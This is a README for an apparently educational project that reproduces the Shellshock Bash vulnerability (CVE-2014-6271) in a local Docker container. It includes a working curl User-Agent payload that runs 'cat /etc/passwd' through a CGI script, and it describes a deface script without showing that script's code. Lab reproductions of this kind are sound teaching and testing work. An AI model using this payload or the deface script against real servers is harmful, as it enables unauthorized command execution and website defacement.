
Projet de présentation d'une CVE (ShellShock) avec pdf, démonstration technique et reproductible
This project allows reproducing the vulnerability CVE-2014-6271, also known as Shellshock. Shellshock is a security vulnerability in Bash that allows executing malicious code via environment variables.
The purpose of this project is to demonstrate the impact of this vulnerability on a Docker environment.
Before starting, ensure you have Docker installed on your machine. You can download Docker here.
In the project directory, build the Docker image by running the following command:
docker build -t ['image name'] .
Replace ['image name'] with the name you want to give to the Docker image.
Once the image is built, run a container from this image with the following command:
docker run -it --rm -p 8080:80 ['image name']
This will expose the service on port 8080 of your local machine.
Open your browser and go to http://localhost:8080. You will be able to observe the application's behavior and test the vulnerability.
In another terminal, run the following command to exploit the vulnerability and read the contents of the /etc/passwd file:
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
This command sends a specially crafted user-agent header to exploit Shellshock. If the vulnerability is properly reproduced, the contents of /etc/passwd will appear in the terminal output.
This script exploits the vulnerability to deface a target web page. The vulnerability relies on a misconfiguration of CGI scripts, which allows arbitrary command execution on the server.
Prerequisites: Make sure the target is vulnerable to the ShellShock bug. Make sure you have the necessary permissions to test the exploit on this target.
./exp_deface.sh <ip> <port>
./exp_deface.sh localhost 8080
Important: This vulnerability should only be used for testing and demonstration purposes in a controlled environment. Do not use this project in production environments.